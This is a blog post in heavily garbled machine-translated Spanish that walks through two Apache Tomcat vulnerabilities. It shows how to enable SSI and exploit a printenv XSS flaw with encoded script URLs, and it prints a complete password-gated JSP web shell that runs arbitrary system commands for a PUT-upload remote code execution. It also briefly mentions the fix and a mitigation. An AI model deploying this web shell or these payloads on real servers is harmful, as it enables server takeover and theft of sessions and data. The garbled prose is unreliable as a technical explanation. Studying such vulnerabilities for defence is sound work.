Tomcat es un servidor de aplicaciones web ligero de código abierto, en nuestro curso normal de su trabajo en contacto mucho. Código también es muy clásico, mucha gente a mejorar su tecnología aprenderán a leer el código fuente de Tomcat. Pero como el famoso poeta Li Bai dijo: Esto no es la vulnerabilidad del mundo, la gente usa más, también encontró un resquicio. Por ejemplo, en febrero de este año, la explosión de los archivos que contienen las vulnerabilidades. Hoy, hemos elegido dos vulnerabilidades más intuitivo Tomcat para simular todo el proceso de la vulnerabilidad de ser atacado, y por qué va a generar lagunas, el gran Dios que Tomcat es cómo responder.

[Atacar a: ataque XSS]

A, SSI Nota Técnica

Primero, muestra la vulnerabilidad de Tomcat y funciones relacionadas con SSI, SSI es lo

La tecnología SSI, también llamado Serve Incluye lateral, SSI (Server Side Include) es la instrucción se coloca en la página HTML, y evaluado en el servidor cuando la página del servicio. Ellos le permiten agregar contenido generado dinámicamente a una página HTML existente, sin tener que proporcionar toda la página a través de un programa CGI, u otra tecnología dinámica. La tecnología SSI utilizando el nombre de archivo predeterminado sufijo Shtml;

Por ejemplo: Podemos estar colocados en una página HTML existente de instrucciones, por ejemplo:

!--#echo var="DATE_LOCAL" -->

Cuando se ejecuta la página, se mostrarán los siguientes resultados

Sunday, 22-March-2020 18:28:54 GMT

Uno de los usos más comunes de SSI: la salida del programa CGI, por ejemplo, contador de visitas `` ''. Acerca de la tecnología descripción más detallada, véase: http://httpd.apache.org/docs/current/howto/ssi.html

En segundo lugar, abrir SSI para Tomcat

Ready JRE, tomcat medio ambiente, I eligió el "apache-tomcat-9.0.10" (la vulnerabilidad de las versiones afectadas: Apache Tomcat 9.0.0.M1 a 9.0.0.17, 8.5.0 a 8.5.39 y 7.0 0.0 a 7.0.93)
Modificar conf / context.xml línea 19, permiso para abrir

<Context privileged="true">

Modificar conf \ web.xml, abierta SSI Servlet. Este código es comentada por defecto, podemos eliminar el mensaje, al 310-322 líneas de código.

<servlet>
        <servlet-name>ssi</servlet-name>
        <servlet-class>
          org.apache.catalina.ssi.SSIServlet
        </servlet-class>
        <init-param>
          <param-name>buffered</param-name>
          <param-value>1</param-value>
        </init-param>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>
        <init-param>
          <param-name>expires</param-name>
          <param-value>666</param-value>
        </init-param>
        <init-param>
          <param-name>isVirtualWebappRelative</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>4</load-on-startup>
    </servlet>

líneas sin comentar 422-425 sobre la configuración ssi

  <servlet-mapping>
        <servlet-name>ssi</servlet-name>
        <url-pattern>*.shtml</url-pattern>
    </servlet-mapping>

Añadir madashu_env.shtml en el directorio raíz (el hábito de la vida llama printEnv.shtml) archivo, ubicado en webapps / ROOT / SSI /

<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>

Puede iniciar Tomcat

En tercer lugar, el ataque

Entramos en el siguiente efecto facie url

http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E

2. inyección XSS

http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E

El ataque tiene éxito, la página se muestra a continuación.

De esta manera, permitir a los usuarios cargar y ejecutar ataques a aplicaciones Web maliciosos se hacen, el atacante también puede incluir, sin limitación, para conseguir una autoridad superior (por ejemplo, la ejecución de algunas operaciones), el contenido de la página web privada, sesión y cookies y otros contenidos.

En cuarto lugar, el análisis de código fuente

Después de lagunas producen, Tomcat gran Dios que corrige rápidamente esta vulnerabilidad, nos encontramos con el código de tiempo de la reparación Github presentar registros: haga clic en Confirmar

Realmente, cuando veo esta revisión del código se sorprende, esto es lo que la operación de Sao ! ! ! "Entidad" es lo que el infierno! ! !

Así que baje el código para hacerse cargo de

este lugar entramos en el valor de la variable se emite directamente a una página, es evidente que sólo la entidad debe llevarse a cabo la transcodificación. Nos encontramos con la ruta del archivo SSIMediator.java org.apache.catalina.ssi. SSIMediator

para que de repente llegamos a entender, cuando se encontró que "entidad" codificación de contenido, la entrada será de escape, evitando así XSS.
Estimamos que el gran Dios que también era una emergencia fuera de una versión de revisión, escribir directamente a los parámetros que se van "entidad" muerto. Hay como un servidor Web, ** el gran Dios que realmente hará que un error tan bajo nivel, por lo que también explica por qué no existe un sistema 0Bug, ja, ja! ** mirada ir en los últimos SSIPrintenv.javaarchivos tienen la "entidad" se define como una constante, esta cosa profesional!

[Ataque II: ejecución remota de código]

Por otra presentación simple código de vulnerabilidad de ejecución remota, la vulnerabilidad a las vulnerabilidades de alto riesgo, incluso de configuración no predeterminada, pero una vez allí es la vulnerabilidad, un atacante puede WebShell cargado correctamente, y el servidor de control.

Por subir archivos puestas, solicitud de intervención se lleva a cabo:
Genera archivos maliciosos y con nombrejiansheng.jsp

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

Para subir archivos desde el éxito, entonces podemos felizmente no pertenece a nuestro propio juego en el gato
El código completo es relativamente simple, puede buscar JspServlet.javaaquí no demuestran.
** Nota: ** La falla afecta a una gama muy amplia, desde 5.x 9.x todos tiro a. La mejor solución es conf / web.xml respecto de DefaultServlet establecer sólo lectura a verdadero.

[ Conclusión ] El interés es el mejor maestro, vemos una caída fuera por los peces gordos hoyo, escribió el código, se puede estar de pie sobre los hombros de los gigantes más rápidamente perfeccionarse. socios interesados pueden ir a ver una pequeña cantidad de Tomcat tiene vulnerabilidades:
http://tomcat.apache.org/security-9.html
dos vulnerabilidades en la demostración son CVE-2019 hasta 0221, CVE-2017- 12615.

Pasado recomienda
AI notas de estudio: Proyecto de Largometraje
consultas para charlar estructura del índice de base de datos y principios de los datos de diez millones de
notas de estudio AI (a): Vista general de la inteligencia artificial y la máquina de aprendizaje
más fuerte en la historia de almacenamiento dinámico de Java en el marco de la caché, no acepte la refutación (con código fuente)
SpringCloud segunda generación de la serie de combate (a): el uso Nacos registro de servicio se dan cuenta y el descubrimiento

Gracias por "código tío" Gangster No. preocupación pública, junto con nuestro intercambio de aprendizaje!
Microcanal número público: Tío código década Rong "código" viejo "tío" floración

Después de que atacar con éxito el servidor Tomcat